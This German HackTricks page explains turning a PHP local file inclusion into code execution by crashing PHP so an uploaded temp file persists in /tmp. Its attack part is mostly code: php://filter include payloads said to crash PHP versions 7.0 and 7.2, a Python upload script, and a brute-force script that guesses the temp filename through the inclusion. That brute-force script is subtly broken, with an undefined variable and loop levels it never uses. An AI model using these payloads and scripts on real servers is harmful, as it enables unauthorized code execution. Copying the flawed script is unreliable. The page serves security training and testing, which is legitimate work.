LFI2RCE über Segmentierungsfehler
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Laut den Berichten https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (zweiter Teil) und https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view verursachten die folgenden Payloads einen Segmentierungsfehler in PHP:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
Sie sollten wissen, dass wenn Sie eine POST-Anfrage mit einer Datei senden, PHP eine temporäre Datei in /tmp/php<etwas>
mit dem Inhalt dieser Datei erstellt. Diese Datei wird automatisch gelöscht, sobald die Anfrage verarbeitet wurde.
Wenn Sie eine LFI finden und es Ihnen gelingt, einen Segmentierungsfehler in PHP auszulösen, wird die temporäre Datei niemals gelöscht. Daher können Sie mit der LFI-Schwachstelle danach suchen, bis Sie sie finden und beliebigen Code ausführen.
Sie können das Docker-Image https://hub.docker.com/r/easyengine/php7.0 zum Testen verwenden.
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.